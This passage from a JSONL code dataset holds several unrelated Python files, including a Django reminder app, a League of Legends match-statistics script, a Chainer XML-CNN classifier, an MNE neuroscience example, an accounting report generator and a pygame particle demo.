elevation=-70)","sub_path":"examples/basic/fillholes.py","file_name":"fillholes.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"155053715","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom remind import models\nfrom remind.forms import UserForm\nfrom remind.forms import AlarmForm\nfrom remind.models import User\nfrom django.contrib import messages\n\ndef home(request):\n # There is only one user\n user = models.User.objects.all()[0]\n return render(request, 'remind/home.html', {'user': user})\n\ndef get_uptime(request):\n timestamp = models.Monitor.objects.all()[0].app_init_timestamp\n now = timezone.now()\n hours = (now - timestamp).seconds // (60*60)\n # Only strings can be sent back as HttpResponse\n if hours < 1:\n response = \"Less than 1 hour\"\n else:\n response = \"{}+ hours\".format(hours)\n return HttpResponse(response)\n\ndef edit_details(request):\n user = User.objects.all()[0]\n alarm = user.alarm.all()[0]\n alarm_form = AlarmForm({'dnd_start_time' : alarm.dnd_start_time, \n 'dnd_end_time' : alarm.dnd_end_time})\n user_form = UserForm({'first_name' : user.first_name, 'mobile' : user.mobile})\n\n if request.method == 'POST':\n alarm_saved = False\n user_saved = False\n\n alarm_form_post = AlarmForm(request.POST)\n \n if alarm_form_post.is_valid():\n alarm.dnd_start_time = alarm_form_post.cleaned_data['dnd_start_time']\n alarm.dnd_end_time = alarm_form_post.cleaned_data['dnd_end_time']\n alarm.save()\n alarm_saved = True\n\n user_form_post = UserForm(request.POST)\n\n if user_form_post.is_valid():\n user.first_name = user_form_post.cleaned_data['first_name']\n user.mobile = user_form_post.cleaned_data['mobile']\n user.save()\n user_saved = True\n\n if user_saved and alarm_saved:\n messages.add_message(request, messages.INFO, 'All settings saved successfully!')\n # Get updated values\n alarm_form = AlarmForm({'dnd_start_time' : alarm.dnd_start_time, \n 'dnd_end_time' : alarm.dnd_end_time})\n user_form = UserForm({'first_name' : user.first_name, 'mobile' : user.mobile})\n \n return render(request, 'remind/edit_details.html', {'alarm_form' : alarm_form, \n 'user_form' : user_form}) \n\n return render(request, 'remind/edit_details.html', {'alarm_form' : alarm_form, \n 'user_form' : user_form})","sub_path":"remind/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"342165505","text":"'''\n异常处理中，做log记录\n'''\n\nclass CustomException(Exception):\n\tdef __init__(self,name,length):\n\t\tself.name = name\n\t\tself.length = length\n\ndef test():\n\ttry:\n\t\tinputStr = input('输入：')\n\t\tif len(inputStr) < 3:\n\t\t\traise CustomException('超长',len(inputStr))\n\texcept CustomException as result:\n\t\tprint('CustomException name:%s,长度：%d'%(result.name,result.length))\n\telse:\n\t\tprint('everything is ok')\n\ntest()\n","sub_path":"basic_grammar/customExceptin.py","file_name":"customExceptin.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"348480513","text":"import time\nimport requests\nimport datetime\nfrom urllib import parse\nimport dict_file, data_file\nimport os\n\n\ndef encode_arr(arr):\n a = []\n for name in arr:\n a.append(parse.quote(name, encoding='utf-8'))\n return a\n\ndef find_puuids(arr, info_URL, curr_API_KEY):\n a = []\n # print(arr)\n for name in arr:\n response = requests.get(info_URL.format(name, curr_API_KEY))\n time.sleep(0.05)\n # print(response.json())\n puuid = response.json()[\"puuid\"]\n a.append(puuid)\n return a\n\ndef get_match_ids(puuid, match_id_URL, start, count, curr_API_KEY):\n response = requests.get(match_id_URL.format(puuid, start, count, curr_API_KEY))\n time.sleep(0.05)\n if response.status_code == 200:\n return response.json()\n elif response.status_code == 429:\n os.system('say \"waiting\"')\n print(\"waiting 20 secs\")\n time.sleep(20)\n get_match_ids(puuid, match_id_URL, start, count, curr_API_KEY)\n else:\n os.system('say \"ids error\"')\n print(response)\n print(\"error is append - puuid is : \", puuid + \" , start : \" + str(start) )\n data_file.error_arr.append(\"puuid, \" + str(puuid) + \", start, \" + str(start) +\", \"+ str(response.status_code))\n return None\n\ndef get_match_detail(match_id, match_detail_URL, curr_API_KEY):\n response = requests.get(match_detail_URL.format(match_id, curr_API_KEY))\n time.sleep(0.5)\n # print(response)\n # print(response.status_code)\n \n if response.status_code == 200:\n return response.json()\n elif response.status_code == 429:\n os.system('say \"waiting\"')\n print(\"waiting 20 secs\")\n time.sleep(20)\n get_match_detail(match_id, match_detail_URL, curr_API_KEY)\n else:\n os.system('say \"match error\"')\n print(response)\n print(\"error_arr is append - match_id : \", match_id)\n data_file.error_arr.append(\"match_id, \" + str(match_id) + \", status_code, \" + str(response.status_code))\n return None\n \n\ndef check_datetime(num):\n date = datetime.datetime.fromtimestamp(num).strftime('%Y')\n return date == 2020\n\ndef find_zilbbugs(participants, name_dict):\n a = []\n for participant in participants:\n if participant in name_dict:\n a.append(participant)\n print(\"found match with \", name_dict[participant])\n return a\n\ndef cal_kda(numerator, denominator):\n if denominator == 0:\n return numerator\n return numerator / denominator\n\ndef analyze_match(match_detail, puuid_zilbbugs, puuid_bob):\n \n game_duration = match_detail[\"info\"][\"gameDuration\"]/1000/60\n\n for participant_dict in match_detail[\"info\"][\"participants\"]:\n if participant_dict[\"puuid\"] == puuid_bob:\n bob_win = participant_dict[\"win\"]\n # print(\"bob_win:\", bob_win)\n bob_damge_per_m = participant_dict[\"totalDamageDealtToChampions\"] / game_duration\n bob_numerator = participant_dict[\"assists\"] + participant_dict[\"kills\"]\n bob_denominator = participant_dict[\"deaths\"]\n bob_kda = cal_kda(bob_numerator, bob_denominator)\n break\n \n for puuid_zilbbug in puuid_zilbbugs:\n for participant_dict in match_detail[\"info\"][\"participants\"]:\n if participant_dict[\"puuid\"] == puuid_zilbbug:\n zilbbug_win = participant_dict[\"win\"]\n # print(\"zilbbug_win : \", zilbbug_win)\n zilbbug_damge_per_m = participant_dict[\"totalDamageDealtToChampions\"] / game_duration\n zilbbug_numerator = participant_dict[\"assists\"] + participant_dict[\"kills\"]\n zilbbug_denominator = participant_dict[\"deaths\"]\n zilbbug_kda = cal_kda(zilbbug_numerator, zilbbug_denominator)\n\n ref_dict = dict_file.m_dict[puuid_zilbbug]\n ref_dict[\"count\"] += 1\n if bob_win == zilbbug_win:\n ref_dict[\"same_team_sum_kda\"] += zilbbug_kda\n ref_dict[\"same_team_sum_damage_per_m\"] += zilbbug_damge_per_m \n ref_dict[\"same_team_sum_kda_bob\"] += bob_kda\n ref_dict[\"same_team_sum_damage_per_m_bob\"] += bob_damge_per_m\n if bob_win == True:\n ref_dict[\"same_team_win\"] += 1\n else:\n ref_dict[\"same_team_lose\"] += 1\n else:\n ref_dict[\"diff_team_sum_kda\"] += zilbbug_kda\n ref_dict[\"diff_team_sum_damage_per_m\"] += zilbbug_damge_per_m \n ref_dict[\"diff_team_sum_kda_bob\"] += bob_kda\n ref_dict[\"diff_team_sum_damage_per_m_bob\"] += bob_damge_per_m\n if zilbbug_win == True:\n ref_dict[\"diff_team_win\"] += 1\n else:\n ref_dict[\"diff_team_lose\"] += 1\n break\n\n return 0","sub_path":"func_file.py","file_name":"func_file.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"287626806","text":"import copy\r\nimport math\r\nimport pdb\r\nfrom itertools import chain\r\nimport math\r\nimport chainer\r\nimport chainer.functions as F\r\nimport chainer.links as L\r\nimport numpy as np\r\nimport scipy.sparse as sp\r\nfrom context2vec.common.defs import Toks\r\nfrom gensim.models import KeyedVectors\r\nfrom gensim.scripts.glove2word2vec import glove2word2vec\r\nfrom tqdm import tqdm\r\nfrom sklearn.preprocessing import LabelEncoder ## single label\r\nfrom sklearn.preprocessing import MultiLabelBinarizer ## multi label encoder\r\n\r\nfrom pyfasttext import FastText\r\nimport random\r\nlinear_init = chainer.initializers.LeCunUniform()\r\n# -*- coding:utf-8 -*-\r\n\r\n# XML-CNN Network\r\n# =========================================================\r\nclass XMLCnn(chainer.Chain):\r\n\r\n def __init__(self, doc_catgy, n_vocab, emb_dim, out_channels, filter_size, word2index, pre_trained_embedding, multi_label):\r\n self.in_channels = 1\r\n self.out_channels = out_channels\r\n self.row_dim = emb_dim\r\n self.hidden_dim = 512 ## fixed\r\n self.doc_catgy = doc_catgy\r\n self.n_classes = len(doc_catgy)\r\n self.n_vocab = n_vocab\r\n self.filter_size = filter_size\r\n self.word2index = word2index\r\n self.mutli_label = multi_label\r\n self.le = None\r\n if self.mutli_label == 1:\r\n self.le = MultiLabelBinarizer(classes=[i[0] for i in sorted(self.doc_catgy.items(), key=lambda x: x[1])],sparse_output=False)\r\n elif self.mutli_label == 0:\r\n self.le = LabelEncoder()\r\n self.le.fit([i[0] for i in sorted(self.doc_catgy.items(), key=lambda x: x[1])])\r\n self.look_up_table = None\r\n self.pre_trained_embedding = pre_trained_embedding\r\n super(XMLCnn, self).__init__()\r\n self.to_gpu()\r\n if not self.pre_trained_embedding is None:\r\n model = FastText(self.pre_trained_embedding)\r\n dim = len(model['a'])\r\n n_vocab = len(self.word2index.keys())\r\n self.look_up_table = self.xp.zeros((n_vocab, dim),dtype=np.float32)\r\n for word,index in tqdm(self.word2index.items()):\r\n try:\r\n self.look_up_table[index] = chainer.cuda.to_gpu(model.get_numpy_vector(word))\r\n except:\r\n self.xp.random.seed(index)\r\n self.look_up_table[index][:] = self.xp.random.uniform(-0.25, 0.25, dim)\r\n\r\n self.set_seed_random(123)\r\n with self.init_scope():\r\n if self.look_up_table is None:\r\n self.embedding=L.EmbedID(n_vocab, self.row_dim, ignore_label=-1,initialW=linear_init)\r\n else:\r\n self.embedding=L.EmbedID(n_vocab, self.row_dim, ignore_label=-1,initialW=self.look_up_table)\r\n self.conv1 = L.Convolution2D(self.in_channels,self.out_channels,(filter_size[0],self.row_dim), stride=2,initialW=linear_init)\r\n self.conv2 = L.Convolution2D(self.in_channels,self.out_channels,(filter_size[1],self.row_dim), stride=2,initialW=linear_init)\r\n self.conv3 = L.Convolution2D(self.in_channels,self.out_channels,(filter_size[2],self.row_dim), stride=2,initialW=linear_init)\r\n self.l1=L.Linear(in_size = None, out_size = self.hidden_dim, initialW=linear_init)\r\n self.l2=L.Linear(in_size = self.hidden_dim, out_size = self.n_classes,initialW=linear_init)\r\n self.to_gpu() \r\n\r\n # =========================================================\r\n\r\n def __call__(self, sent, opt):\r\n\r\n return self._calculate_loss(sent, opt)\r\n\r\n def _calculate_loss(self, sent, opt):\r\n self.set_seed_random(123)\r\n self.embedding.disable_update()\r\n with chainer.using_config('use_cudnn', 'never'):\r\n with chainer.using_config('cudnn_deterministic', True):\r\n x = self.xp.array(sent['indexed_text']) \r\n\r\n if self.mutli_label == 1:\r\n t_txt = self.le.fit_transform(sent['doc_category'])\r\n elif self.mutli_label == 0:\r\n t_txt = self.le.transform(list(chain(*sent['doc_category'])))\r\n\r\n h_non_static = F.dropout(self.embedding(x),0.25)\r\n h_non_static = F.reshape(h_non_static, (h_non_static.shape[0], 1, h_non_static.shape[1], h_non_static.shape[2]))\r\n\r\n h1 = self.conv1(h_non_static)\r\n h2 = self.conv2(h_non_static)\r\n h3 = self.conv3(h_non_static)\r\n\r\n h1 = F.max_pooling_2d(F.relu(h1), (2,1), stride=1)\r\n h2 = F.max_pooling_2d(F.relu(h2), (2,1), stride=1)\r\n h3 = F.max_pooling_2d(F.relu(h3), (2,1), stride=1)\r\n\r\n h = F.concat((h1,h2,h3),axis=2)\r\n\r\n h = F.dropout(F.relu(self.l1(h)), ratio=0.5)\r\n y = self.l2(h)\r\n\r\n if self.mutli_label == 1:\r\n loss = F.sigmoid_cross_entropy(y, self.xp.array(t_txt))\r\n elif self.mutli_label == 0:\r\n loss = F.softmax_cross_entropy(y, self.xp.array(t_txt))\r\n loss.backward()\r\n\r\n opt.update()\r\n\r\n return loss.data\r\n\r\n def estimate(self, sent):\r\n self.set_seed_random(123)\r\n self.embedding.disable_update()\r\n x = sent['indexed_text']\r\n try:\r\n x = self.xp.array(x)\r\n except:\r\n pdb.set_trace()\r\n\r\n h_non_static = F.dropout(self.embedding(x),0.25)\r\n h_non_static = F.reshape(h_non_static, (h_non_static.shape[0], 1, h_non_static.shape[1], h_non_static.shape[2]))\r\n \r\n h1 = self.conv1(h_non_static)\r\n h2 = self.conv2(h_non_static)\r\n h3 = self.conv3(h_non_static)\r\n\r\n h1 = F.max_pooling_2d(F.relu(h1), (2,1), stride=1)\r\n h2 = F.max_pooling_2d(F.relu(h2), (2,1), stride=1)\r\n h3 = F.max_pooling_2d(F.relu(h3), (2,1),stride=1)\r\n \r\n h = F.concat((h1,h2,h3),axis=2)\r\n h = F.dropout(F.relu(self.l1(h)), ratio=0.5)\r\n \r\n y = self.l2(h)\r\n\r\n return y\r\n\r\n # The Setting of the seed value for random number generation\r\n # =========================================================\r\n def set_seed_random(self, seed):\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n if chainer.cuda.available:\r\n chainer.cuda.cupy.random.seed(seed)\r\n\r\n","sub_path":"program/xmlcnn.py","file_name":"xmlcnn.py","file_ext":"py","file_size_in_byte":6361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"34966358","text":"\"\"\"\n.. _ex-envelope-correlation:\n\n=============================================\nCompute envelope correlations in source space\n=============================================\n\nCompute envelope correlations of orthogonalized activity [1]_ [2]_ in source\nspace using resting state CTF data.\n\"\"\"\n\n# Authors: Eric Larson \n# Sheraz Khan \n# Denis Engemann \n#\n# License: BSD (3-clause)\n\nimport os.path as op\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport mne\nfrom mne.connectivity import envelope_correlation\nfrom mne.minimum_norm import make_inverse_operator, apply_inverse_epochs\nfrom mne.preprocessing import compute_proj_ecg, compute_proj_eog\n\ndata_path = mne.datasets.brainstorm.bst_resting.data_path()\nsubjects_dir = op.join(data_path, 'subjects')\nsubject = 'bst_resting'\ntrans = op.join(data_path, 'MEG', 'bst_resting', 'bst_resting-trans.fif')\nsrc = op.join(subjects_dir, subject, 'bem', subject + '-oct-6-src.fif')\nbem = op.join(subjects_dir, subject, 'bem', subject + '-5120-bem-sol.fif')\nraw_fname = op.join(data_path, 'MEG', 'bst_resting',\n 'subj002_spontaneous_20111102_01_AUX.ds')\n\n##############################################################################\n# Here we do some things in the name of speed, such as crop (which will\n# hurt SNR) and downsample. Then we compute SSP projectors and apply them.\n\nraw = mne.io.read_raw_ctf(raw_fname, verbose='error')\nraw.crop(0, 60).pick_types(meg=True, eeg=False).load_data().resample(80)\nraw.apply_gradient_compensation(3)\nprojs_ecg, _ = compute_proj_ecg(raw, n_grad=1, n_mag=2)\nprojs_eog, _ = compute_proj_eog(raw, n_grad=1, n_mag=2, ch_name='MLT31-4407')\nraw.info['projs'] += projs_ecg\nraw.info['projs'] += projs_eog\nraw.apply_proj()\ncov = mne.compute_raw_covariance(raw) # compute before band-pass of interest\n\n##############################################################################\n# Now we band-pass filter our data and create epochs.\n\nraw.filter(14, 30)\nevents = mne.make_fixed_length_events(raw, duration=5.)\nepochs = mne.Epochs(raw, events=events, tmin=0, tmax=5.,\n baseline=None, reject=dict(mag=8e-13), preload=True)\ndel raw\n\n##############################################################################\n# Compute the forward and inverse\n# -------------------------------\n\nsrc = mne.read_source_spaces(src)\nfwd = mne.make_forward_solution(epochs.info, trans, src, bem)\ninv = make_inverse_operator(epochs.info, fwd, cov)\ndel fwd, src\n\n##############################################################################\n# Compute label time series and do envelope correlation\n# -----------------------------------------------------\n\nlabels = mne.read_labels_from_annot(subject, 'aparc_sub',\n subjects_dir=subjects_dir)\nepochs.apply_hilbert() # faster to apply in sensor space\nstcs = apply_inverse_epochs(epochs, inv, lambda2=1. / 9., pick_ori='normal',\n return_generator=True)\nlabel_ts = mne.extract_label_time_course(\n stcs, labels, inv['src'], return_generator=True)\ncorr = envelope_correlation(label_ts, verbose=True)\n\n# let's plot this matrix\nfig, ax = plt.subplots(figsize=(4, 4))\nax.imshow(corr, cmap='viridis', clim=np.percentile(corr, [5, 95]))\nfig.tight_layout()\n\n##############################################################################\n# Compute the degree and plot it\n# ------------------------------\n\n# sphinx_gallery_thumbnail_number = 2\nthreshold_prop = 0.15 # percentage of strongest edges to keep in the graph\ndegree = mne.connectivity.degree(corr, threshold_prop=threshold_prop)\nstc = mne.labels_to_stc(labels, degree)\nstc = stc.in_label(mne.Label(inv['src'][0]['vertno'], hemi='lh') +\n mne.Label(inv['src'][1]['vertno'], hemi='rh'))\nbrain = stc.plot(\n clim=dict(kind='percent', lims=[75, 85, 95]), colormap='gnuplot',\n subjects_dir=subjects_dir, views='dorsal', hemi='both',\n smoothing_steps=25, time_label='Beta band')\n\n##############################################################################\n# References\n# ----------\n# .. [1] Hipp JF, Hawellek DJ, Corbetta M, Siegel M, Engel AK (2012)\n# Large-scale cortical correlation structure of spontaneous\n# oscillatory activity. Nature Neuroscience 15:884–890\n# .. [2] Khan S et al. (2018). Maturation trajectories of cortical\n# resting-state networks depend on the mediating frequency band.\n# Neuroimage 174:57–68\n","sub_path":"0.21/_downloads/ae7d4d6bcae82f99a78c3f8a0c94f7b0/plot_mne_inverse_envelope_correlation.py","file_name":"plot_mne_inverse_envelope_correlation.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"93277504","text":"import platform\n\nname = input(\"name: \")\nprint(f\"Hello, {name}\")\n\nwhile True:\n try:\n choose = int(input(\"выбирите вариант: 1, 2,3 \"))\n except ValueError:\n print(\"Только числа!\")\n continue\n if choose in range(1, 4):\n break\n print(\"Только от 1 до 3!\")\n continue\n\nif choose == 1:\n print(\"hello world\")\nelif choose == 2:\n print(\"Меня зовут Антон - я продовец техники xiaomi\")\nelif choose == 3:\n print(f\"system: {platform.system()} \")\nelse:\n print(\"Вели не правильный вариант\")\n","sub_path":"homeworks/anton_davidovich/lesson 1/Davidovich.py","file_name":"Davidovich.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"467153596","text":"import com.ihsan.foundation.pobjecthelper as phelper\r\nimport sys, os\r\nimport pyFlexcel\r\nimport S_ReportHelper\r\n \r\ndef DAFScriptMain(config, parameter, returnpacket):\r\n # config: ISysConfig object\r\n # parameter: TPClassUIDataPacket\r\n # returnpacket: TPClassUIDataPacket (undefined structure)\r\n \r\n status = returnpacket.CreateValues(\r\n ['IsErr',0],\r\n ['ErrMessage','']\r\n )\r\n helper = phelper.PObjectHelper(config)\r\n corporate = helper.CreateObject('Corporate')\r\n pathtemplates = config.HomeDir + 'templates\\\\' \r\n pathresult = corporate.GetUserHomeDir() + '\\\\' \r\n \r\n resFilename = pathresult + 'GeneralJournal.xls'\r\n\r\n workbook = pyFlexcel.Open(pathtemplates + 'tplListJournalTransGroup.xls')\r\n try:\r\n param = parameter.FirstRecord \r\n BranchCode = param.branchcode\r\n AccountCode = param.accountcode\r\n \r\n intTanggalAwal = param.tanggalawal\r\n intTanggalAkhir = param.tanggalakhir\r\n strTanggalAwal = config.FormatDateTime('YYYY-MM-DD', intTanggalAwal)\r\n strTanggalAkhir = config.FormatDateTime('YYYY-MM-DD', intTanggalAkhir + 1)\r\n \r\n # Get Corporate Name\r\n oParamCorporateName = helper.GetObject('Parameter', 'CorporateName')\r\n CorporateName = oParamCorporateName.GetString()\r\n \r\n strPeriode = \"Untuk Periode %s s/d %s \" % (\r\n config.FormatDateTime('dd mmm yyyy',intTanggalAwal),\r\n config.FormatDateTime('dd mmm yyyy',intTanggalAkhir))\r\n\r\n # ---- Saldo Awal\r\n \r\n # Detil Transaksi\r\n paramSQL = {\r\n 'TanggalAwal' : strTanggalAwal,\r\n 'TanggalAkhir' : strTanggalAkhir,\r\n 'BranchParam' : '',\r\n }\r\n \r\n # Filter Branch\r\n if BranchCode not in [None, ''] :\r\n paramSQL['BranchParam'] = \" and ji.branch_code = '%s' \" % BranchCode\r\n \r\n # Filter Account_Code\r\n oAccount = helper.GetObject('Account', AccountCode)\r\n\r\n if oAccount.Account_Type == 'E' :\r\n paramSQL['AccountParam'] = \" \\\r\n and exists ( select 1 from accounting.account ac2 where \\\r\n account_code =ah.fl_parentaccountcode\\\r\n and exists( \\\r\n select fl_childaccountcode \\\r\n from accounting.account ac3, \\\r\n accounting.accounthierarchy ah3 \\\r\n where ac3.account_code = ah3.fl_childaccountcode \\\r\n and ah3.fl_parentaccountcode = '%s' \\\r\n and ac3.is_detail = 'T' \\\r\n and ac2.fl_CPA_AccountCode = ah3.fl_childaccountcode \\\r\n ) \\\r\n ) \" % AccountCode\r\n else :\r\n paramSQL['AccountParam'] = \" and ah.fl_parentaccountcode in ('%s') \" % AccountCode\r\n # end if\r\n \r\n sSQL = \" \\\r\n select \\\r\n ac.account_code, ac.account_name, \\\r\n tran.transactioncode,tran.trandescription, \\\r\n ji.branch_code, br.branchname, \\\r\n sum(ji.amount_debit * nilai_kurs) as debit , \\\r\n sum(ji.amount_credit * nilai_kurs) as credit \\\r\n from \\\r\n accounting.account ac, \\\r\n accounting.accountinstance ai, \\\r\n accounting.journal j, \\\r\n accounting.accounthierarchy ah , \\\r\n accounting.branchlocation br, \\\r\n accounting.journalitem ji \\\r\n left outer join ( \\\r\n select t.transactionid,t.transactionno,t.transactioncode, \\\r\n ti.amount,ti.ekuivalenamount, t.journalblockid, \\\r\n ti.transactionitemid, ty.description as trandescription \\\r\n from transaction.transaction t, transaction.transactionitem ti, \\\r\n transaction.transactiontype ty \\\r\n where t.transactionid = ti.transactionid \\\r\n and ty.transactioncode = t.transactioncode \\\r\n ) tran \\\r\n on (ji.source_key_id = tran.transactionitemid) \\\r\n where ai.accountinstance_id=ji.accountinstance_id \\\r\n and ac.account_code = ai.account_code \\\r\n and j.journal_no = ji.fl_journal \\\r\n and ah.fl_childaccountcode=ai.account_code \\\r\n and br.branch_code = ji.branch_code \\\r\n and j.journal_date >= '%(TanggalAwal)s' and j.journal_date < '%(TanggalAkhir)s' \\\r\n %(BranchParam)s %(AccountParam)s \\\r\n group by tran.transactioncode, tran.trandescription, \\\r\n ji.branch_code, br.branchname, \\\r\n ac.account_code, ac.account_name \\\r\n order by ji.branch_code, account_code, tran.transactioncode \" % paramSQL\r\n\r\n resSQL = config.CreateSQL(sSQL).RawResult\r\n\r\n resSQL.First()\r\n \r\n # ---- Detil Transaksi\r\n workbook.ActivateWorksheet('data1')\r\n workbook.SetCellValue(1 , 1, CorporateName)\r\n workbook.SetCellValue(3 , 1, strPeriode)\r\n\r\n row = 6\r\n sheet = 1\r\n\r\n while not resSQL.Eof :\r\n workbook.SetCellValue(row , 1, resSQL.account_code)\r\n workbook.SetCellValue(row , 2, resSQL.account_name)\r\n workbook.SetCellValue(row , 3, resSQL.transactioncode)\r\n workbook.SetCellValue(row , 4, resSQL.trandescription)\r\n workbook.SetCellValue(row , 5, resSQL.debit)\r\n workbook.SetCellValue(row , 6, resSQL.credit)\r\n workbook.SetCellValue(row , 7, resSQL.branchname)\r\n \r\n row += 1\r\n \r\n # Cek Ganti Sheet\r\n if row >= 65530 :\r\n sheet += 1\r\n workbook.SetCellValue(row + 1 , 1, '{ BERSAMBUNG KE SHEET data1%d }' % sheet )\r\n\r\n # Set To Next Sheet\r\n workbook.ActivateWorksheet('data%d' % sheet )\r\n row = 2\r\n # end if\r\n \r\n resSQL.Next()\r\n # end while\r\n \r\n # ****** SAVE TO EXCEL FILE ***********\r\n if os.access(resFilename, os.F_OK) == 1:\r\n os.remove(resFilename)\r\n workbook.SaveAs(resFilename)\r\n\r\n sw = returnpacket.AddStreamWrapper()\r\n sw.LoadFromFile(resFilename)\r\n sw.MIMEType = config.AppObject.GetMIMETypeFromExtension(resFilename) \r\n\r\n except:\r\n status.IsErr = 1\r\n status.ErrMessage = str(sys.exc_info()[1])\r\n workbook = None \r\n\r\n return 1\r\n\r\n\r\n","sub_path":"scripts/reports/S_ListJournalTransGroup.py","file_name":"S_ListJournalTransGroup.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"508146899","text":"from .types import AnnotatorConfidence, RelevanceScore\nfrom .utils import gaussian_relative_entropy, beta_relative_entropy\nfrom .online import update_annotator, update_scores\nfrom .constants import GAMMA\n\n\ndef expected_information_gain(\n score_a: RelevanceScore,\n score_b: RelevanceScore,\n annotator: AnnotatorConfidence,\n gamma: float = GAMMA,\n) -> float:\n \"\"\"Expected Information Gain\n\n Returns a representation of how useful giving the pair (score_a, score_b) to\n the annotator would be. Higher numbers means that the overall confidence of\n the model increases with the annotation of the pair\n\n Arguments:\n score_a {RelevanceScore} -- First score of the triplet\n score_b {RelevanceScore} -- Second score of the triplet\n annotator {AnnotatorConfidence} -- Annotator that will make the decision\n\n Keyword Arguments:\n gamma {float} -- Tradeoff between exploration of annotors' quality and exploitation of observed pairwise comparisons (default: {GAMMA})\n\n Returns:\n float -- Weighted sum of the relative information gains of choosing score_a over score_b and viceversa\n \"\"\"\n # Compute results for score_a being the winner and its updated annotator\n (a_winner_score_a, a_winner_score_b) = update_scores(score_a, score_b, annotator)\n a_winner_annotator, a_winner_c = update_annotator(score_a, score_b, annotator)\n\n # Compute results for score_b being the winner and its updated annotator\n (b_winner_score_b, b_winner_score_a) = update_scores(score_b, score_a, annotator)\n b_winner_annotator, b_winner_c = update_annotator(score_b, score_a, annotator)\n\n return a_winner_c * (\n gaussian_relative_entropy(a_winner_score_a, score_a)\n + gaussian_relative_entropy(a_winner_score_b, score_b)\n + gamma * beta_relative_entropy(a_winner_annotator, annotator)\n ) + b_winner_c * (\n gaussian_relative_entropy(b_winner_score_a, score_a)\n + gaussian_relative_entropy(b_winner_score_b, score_b)\n + gamma * beta_relative_entropy(b_winner_annotator, annotator)\n )\n","sub_path":"backend/apps/crowd_bt/entropy.py","file_name":"entropy.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"630062590","text":"import sys\r\nimport pygame\r\nfrom math import cos, sin, tan, atan2, pi\r\nfrom random import uniform\r\n\r\nfrom particle import *\r\nfrom vector2D import *\r\n\r\n\r\nWIN_WIDTH, WIN_HEIGHT = (640, 480)\r\nCENTER_X, CENTER_Y = (int(WIN_WIDTH/2), int(WIN_HEIGHT/2))\r\nFRAME_PER_SECOND = 60\r\n\r\nBLACK = (0, 0, 0)\r\n\r\nclass Window(object):\r\n def __init__(self, screen):\r\n self.screen = screen\r\n self.running = True\r\n self.clock = pygame.time.Clock()\r\n\r\n self.p = [Particle(CENTER_X, 100, \r\n vel=Vector2D(uniform(-5, 5), uniform(-5, 5)),\r\n accel=Vector2D(uniform(-.3, .3), uniform(-.1, .1)),\r\n g=Vector2D(0, .7)) for i in range(50)]\r\n # self.p = Particle(CENTER_X, CENTER_Y, vel=Vector2D(2, 2))\r\n\r\n self.main_loop()\r\n\r\n def handle_event(self):\r\n for event in pygame.event.get():\r\n if(event.type == pygame.QUIT):\r\n self.running = False\r\n\r\n def update(self):\r\n for i in range(50):\r\n self.p[i].update()\r\n\r\n def render(self):\r\n self.screen.fill((255, 255, 255))\r\n\r\n for i in range(50):\r\n self.p[i].draw(self.screen)\r\n\r\n pygame.display.update()\r\n\r\n def main_loop(self):\r\n while(self.running):\r\n self.handle_event()\r\n self.update()\r\n self.render()\r\n self.clock.tick(FRAME_PER_SECOND)\r\n\r\n\r\n\r\n\r\ndef main(argv):\r\n pygame.init()\r\n\r\n screen = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT), pygame.RESIZABLE)\r\n pygame.display.set_caption(\"Coding Math 1 - Velocity\")\r\n\r\n w = Window(screen)\r\n\r\n pygame.quit()\r\n\r\n return 0\r\n\r\nif(__name__ == \"__main__\"):\r\n sys.exit(main(sys.argv))\r\n","sub_path":"cm6_acceleration.py","file_name":"cm6_acceleration.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"69042782","text":"import os\nimport time\nimport sys\nimport ast\nimport shutil\nimport traceback\nfrom glob import glob\nfrom cachetools import cached, Cache, LRUCache\nfrom datetime import datetime\n\nimport matplotlib as mpl\nmpl.rcParams['savefig.dpi'] = 300\nmpl.rcParams['font.family'] = 'sans-serif'\nmpl.rcParams['font.sans-serif'] = ['Arial']\n\nimport numpy as np\nimport numpy.lib.recfunctions\nimport h5py\nfrom tqdm import tqdm\nfrom tqdm.contrib.concurrent import process_map\nimport matplotlib.pyplot as plt\nimport cv2\nfrom skimage.transform import resize\n\nfrom shapely.strtree import STRtree\nfrom shapely.geometry import Polygon, box, Point\nfrom shapely.prepared import prep\n\nfrom scipy.ndimage.morphology import generate_binary_structure, grey_erosion, grey_dilation\nfrom sklearn import metrics\nfrom sklearn.manifold import TSNE\nimport seaborn as sns\nimport pandas as pd\nfrom joblib import Parallel, delayed\n\nfrom common import utils, logger, ImageLocationUtility\nimport consts\n\nclass Patch(np.record):\n \"\"\"A single feature vector (patch) with metadata.\"\"\"\n\n # image_cache = LRUCache(maxsize=20*60*2) # Least recently used cache for images\n\n # @cached(image_cache, key=lambda self, *args: self.times) # The cache should only be based on the timestamp\n def get_image(self, images_path=None):\n return cv2.imread(self.get_image_path(images_path))\n\n def get_image_path(self, images_path=None):\n if images_path is None: images_path = consts.IMAGES_PATH\n return os.path.join(images_path, \"%i.jpg\" % self.times)\n\n def __setattr__(self, attr, val):\n if attr in self.dtype.names:\n old_val = 